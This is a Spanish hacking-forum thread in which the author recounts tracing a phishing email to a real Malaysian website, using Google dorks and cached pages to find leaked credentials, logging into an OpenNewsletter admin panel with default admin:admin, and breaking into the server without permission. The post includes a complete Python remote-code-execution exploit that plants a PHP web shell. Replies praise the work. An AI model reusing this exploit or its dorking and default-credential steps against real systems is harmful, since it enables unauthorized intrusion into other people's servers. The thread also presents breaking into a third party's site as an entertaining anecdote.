comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Del Spam a La Intrusion

  • 8 Respuestas
  • 4201 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado q3rv0

  • *
  • Underc0der
  • Mensajes: 207
  • Actividad:
    0%
  • Reputación 1
  • %ERRORLEVEL%
    • Ver Perfil
    • q3rv0
    • Email
« en: Diciembre 17, 2014, 09:52:39 pm »
Prologo

Hacia rato que no le echaba una ojeada al spam de mi gmail y esta vez tenia el basurin lleno, es que muchas veces uno puede encontrarse envuelto en alguna aventurita que te alegre el dia o no, en este caso mas que nada fue un poco de diversion. En fin, mientras leia los subject de los correos me pare en uno que decia: “Your account has ben blocked”.



Era un mail “supuestamente” eviando desde blockchain, pero como no tenia idea que servicio estaba prestando al publico me fui directamente a la url del sitio.

No tienes permisos para ver links. Registrate o Entra con tu cuenta



La verdad es que nunca me habia logueado en la aplicacion (segun recuerdo), es mas no tengo una cuenta referenciada a este tipo de servicios en general. Al instante y era obvio deduje que se trataba de un caso de phishing, asi que sin dudarlo segui el enlace acortado por goo.gl para afirmar lo antes predicho.



Por desgracia el path del fake no se encontraba, asi que por curiosidad quize seguir por mi parte para cersiorarme de si habia sido movido a otra ruta o es mas, para ver si lograba captar otros tipos de fraudes montados en el mismo hosting, pero…como hiba a saber eso? …

Un poco de Google Hacking

Lo primero que hice fue arrancar a jugar con goo*, buscando diversas extenciones de ficheros, hasta que di con algo interesante.

Código: Text
  1. site:klsicci.com.my ext:txt



Archivos de configuracion en texto plano!, lamentablemente al pedirlos no se encontraban mas en la ruta, pero si google los tenia, habria que negociar con el.

Código: Text
  1. cache:http://klsicci.com.my/admintest1/config/klsiccic4.txt



Anque las credenciales podian ser viejas o con suerte, quizas, seguian en uso, no perdia nada con probar.

Trate de establer una conexion por mysql pero me nego el acceso, lo mas probable es que solo admitia conexiones desde localhost o bien mediante una lista de ips habilitadas.

Ya que conocia el user a travez del path /home/klsiccic/ informacion que habia obtenido de los ficheros cacheados, intente loguearme por ftp mediante el password de la db (Me he encontrado con muchos hostings que usan pass global para diferentes servicios), pero esta vez el ftp me reboto.

Todavia faltaba mucho por analizar, asi que segui probando con goog*.

Queria un acceso rapido, entonces pense que podria estar cacheada la webshell del atacante, si es que realmente habia usado una para obtener acceso.

Luego de persistir con un par de strings

Código: Text
  1. site:klsicci.com.my && inurl:shell



Di con el objetivo, pero nuevamente el 404.

Por un lado me incitaba a seguir buscando ya que tenia el title de la webshell que podria ser la herramienta del spammer. Hasta ahora no queria cersiorarme por completo hasta estar seguro de que fuera el autor del echo, tal vez la webshell podria pertenecer a otro intruder que nada tenia que ver con el scam.

Largue otra busqueda.

Código: Text
  1. site:klsicci.com.my && intitle:"=[ 1n73ct10n privat shell ]="



Y esta vez tenia un lindo historial, pero todos apuntaban a la misma url fallida.

Aprovechando la lista obtenida, encuentro entre los path que se le pasaban como parametro a la ex shell, un dir de nombre /opennews.





Opennewsletter es una aplicacion open-source para administrar listas de mails.

OpenBUGletter


Ravisando en exploit-db encuentro un reporte de multiples vulnerabilidades para las versiones <=2.*. Una de ellas y por cierto la mas critica hablaba de un RCE en la plataforma.

No tienes permisos para ver links. Registrate o Entra con tu cuenta

Para ser aprovechado requieria de acceso a la administracion, investigando un poco en el source de opennews el cual lo obtuve de la siguiente web.

No tienes permisos para ver links. Registrate o Entra con tu cuenta

Veo que las credenciales del admin son tomadas desde config.php y el user, pass por defecto es admin:admin.



Por suerte el fichero no habia sido retocado y pude obtener acceso.



Por razones que desconocia el exploit no lograba darme una shell en el sistema, asi que me puse a leer el codigo para ver donde se daba el bug, mirando en subscribers.php se puede ver como se abre el fichero data.dat y se ingresa el contenido de la variable $_POST[‘email] sin sanitizar.



En settings.php se permite renombrar el mismo a travez de la variable $_POST[‘db_file’] que al igual que la anterior no posee ningun tipo de filtro seguro.



Ahora que ya tenia una idea de como inyectar codigo, lo unico que quedaba era incrustar un payload en data.dat y este a su vez renombrarlo a *.php, mirando nuevamente el exploit me doy cuenta que para ingresar el codigo hace una peticion a subscribe.php (fichero que no existe en esta version de opennews (2.5.1)), ademas del pasaje de parametros por GET.



Asi que decidi codear el mio propio para realizar la explotacion.

Código: Python
  1. #!/usr/bin/env python
  2. # Description: Opennewsletter remote code execution exploit
  3. # Version tested: 2.5.1
  4. # Author: q3rv0
  5.  
  6. import urllib2
  7. import urllib
  8. import re
  9.  
  10. class opennews_exploit:
  11.  
  12.     def __init__(self, host):
  13.         self.host=host
  14.         cookies=urllib2.HTTPCookieProcessor()
  15.         opener=urllib2.build_opener(cookies)
  16.         urllib2.install_opener(opener)
  17.  
  18.     def postSend(self, parametros, path):
  19.         self.headers={"User-Agent":"Mozilla/5.0 (X11; Linux i686; rv:24.0) Gecko/20140319 Firefox/24.0 Iceweasel/24.4.0"}
  20.         self.parametros=urllib.urlencode(parametros)
  21.         self.path=path
  22.         self.post=urllib2.Request(self.host+self.path, self.parametros, headers=self.headers)
  23.         return urllib2.urlopen(self.post)
  24.  
  25.     def getOldDbFile(self):
  26.         self.get=urllib2.urlopen(self.host+"settings.php").read()
  27.         self.name=re.findall("name=old_db_file value=([\w\.\-_]+)>", self.get)
  28.         return self.name[0]
  29.  
  30.     def verifyShell(self, path):
  31.         try:
  32.             self.path=path
  33.             self.code=urllib2.urlopen(self.host+self.path)
  34.             return self.code.getcode()
  35.         except:
  36.             pass
  37.  
  38. target="http://pwnedhost.com/opennews/"
  39. shell="shell.php"
  40. user="admin"
  41. passwd="admin"
  42. admin_name="Your Name"
  43. admin_email="you@domain.com"
  44. charset="UTF-8"
  45. site_url="http://www.yourwebsite.com"
  46. opennews_directory="/"
  47. payload="<?php echo `$_POST[exec]`; ?>"
  48.  
  49. rce=opennews_exploit(target)
  50.  
  51. def get_shell(shell):
  52.     print "[*] Obteniendo la shell :)\n"
  53.     while True:
  54.         command=raw_input("$~: ")
  55.         print "\n"+rce.postSend({"exec":command}, shell).read()
  56.  
  57. if rce.verifyShell(shell)==200:
  58.     get_shell(shell)
  59.  
  60. else:
  61.     print "\n[*] Logueando...\n"
  62.     rce.postSend({"username":user, "password":passwd}, "index.php?action=login")
  63.     print "[*] Insertando el payload...\n"
  64.     rce.postSend({"email":payload}, "subscribers.php?action=add")
  65.     print "[*] Renombrando la shell...\n"
  66.     rce.postSend({"admin_username":user, "admin_password":passwd, "admin_name":admin_name, "admin_email":admin_email, "charset":charset, "site_url":site_url, "opennewsletter_dir":opennews_directory, "old_db_file":rce.getOldDbFile(), "db_file":shell, "action":"update"}, "settings.php")
  67.     get_shell(shell)
  68.  

Cabe decir que el codigo del exploit es a modo de POC, solo fue testeado en la version 2.5.1, podria no funcionar en versiones anteriores.

run exploit



Listo! ya estaba dentro.



Buscando rastros del scam.

Luego de darle vueltas durante un rato, entrar y salir de directorios, darle a find como loco, no pude dar con el phishing, muchas veces las aventuras nunca terminan como uno quiere, eso terminaba por confirmarme de que el admin se habia encargado de el. Pero por otra parte encontre ciertos ficheros que comprometian aun mas al spammer/intruder.

El pequeño arsenal del defacer.



Ojala les haya gustado esta hackanecdota, saludos!

Fuente: No tienes permisos para ver links. Registrate o Entra con tu cuenta
« Última modificación: Diciembre 17, 2014, 10:10:21 pm por [Q]3rV[0] »
Web: No tienes permisos para ver links. Registrate o Entra con tu cuenta

Twitter: No tienes permisos para ver links. Registrate o Entra con tu cuenta

Desconectado Expermicid

  • *
  • Underc0der
  • Mensajes: 457
  • Actividad:
    0%
  • Reputación 0
  • _-Expermicid-_
    • Ver Perfil
  • Skype: expermicid.xd
« Respuesta #1 en: Diciembre 17, 2014, 11:14:58 pm »
Tremendo post.

Se agradece tus ganas de compartir tu conocimiento [Q]3rV[0]

Saludos

Desconectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5395
  • Actividad:
    35%
  • Reputación 31
  • ANTRAX
    • Ver Perfil
    • Underc0de
    • Email
  • Skype: underc0de.org
  • Twitter: @Underc0de
« Respuesta #2 en: Diciembre 18, 2014, 07:52:07 am »
Excelente Cuervoooo!! Está de 10!!!
Muchisimas gracias por el aporte!!

Saludos!
ANTRAX


Desconectado n4pst3r

  • *
  • Underc0der
  • Mensajes: 41
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • r00tc0d3rs
    • Email
  • Skype: n4pst3rh4ck
« Respuesta #3 en: Diciembre 27, 2014, 12:43:09 am »
Wow, quede sorprendido, excelentisimo post, Gracias por compartir Saludos

Desconectado <<ρyяσмαиiαc>>

  • *
  • Underc0der
  • Mensajes: 3
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #4 en: Marzo 24, 2015, 12:12:27 pm »
Muy bueno me han entrado ganas de leer mas hackanecdotas! Gracias por el aporte!

Desconectado bikolinux

  • *
  • Underc0der
  • Mensajes: 1
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #5 en: Abril 25, 2015, 04:29:32 am »
Excelente Post.
Los que hicieron ese SPAM para sacar Bitocoins deberían de saber que por lo general quien sabe manejar un BTC no cae en pishing, pero bien dicen al mejor cazador se le va la liebre.

Desconectado morodog

  • *
  • Underc0der
  • Mensajes: 350
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
  • Skype: MorodoG
  • Twitter: m4r4d4g
« Respuesta #6 en: Abril 25, 2015, 08:47:51 am »
Excelente PoC, eso se merece pasarlo a un pdf ;)

Un saludo!!

Desconectado Croceell

  • *
  • Underc0der
  • Mensajes: 4
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #7 en: Abril 25, 2015, 09:13:02 am »
Tremendo! estoy con los demás, habría que pasarlo a un pdf junto con algunas otras de hackanécdotas.

Un saludo!

Desconectado Nosferatu

  • *
  • Underc0der
  • Mensajes: 57
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #8 en: Abril 25, 2015, 09:41:50 am »
Hermano [Q]3rV[0].

Simplemente impresionante. Muy bien explicado, hasta el punto de hacerse una lectura entretenida e interesante.

Te dejo un puntito.

Saludos Cordiales.

 

¿Te gustó el post? COMPARTILO!



[Caso real] Relato de una intrusión, Un miserable FSD a medias

Iniciado por yoyomismo

Respuestas: 1
Vistas: 1439
Último mensaje Abril 10, 2013, 11:33:58 am
por yoyomismo
[Caso real] Relato de una intrusión. Un miserable LFI

Iniciado por yoyomismo

Respuestas: 0
Vistas: 1484
Último mensaje Abril 10, 2013, 11:36:53 am
por yoyomismo
Intrusión a un Servidor Por SQLi y Obtener shell

Iniciado por hdbreaker

Respuestas: 11
Vistas: 4553
Último mensaje Julio 15, 2012, 09:12:22 am
por عя ҜΔŁĬ
Intrusión en Winbug con Backtrack

Iniciado por REC

Respuestas: 4
Vistas: 2524
Último mensaje Junio 15, 2012, 10:25:31 pm
por Cronos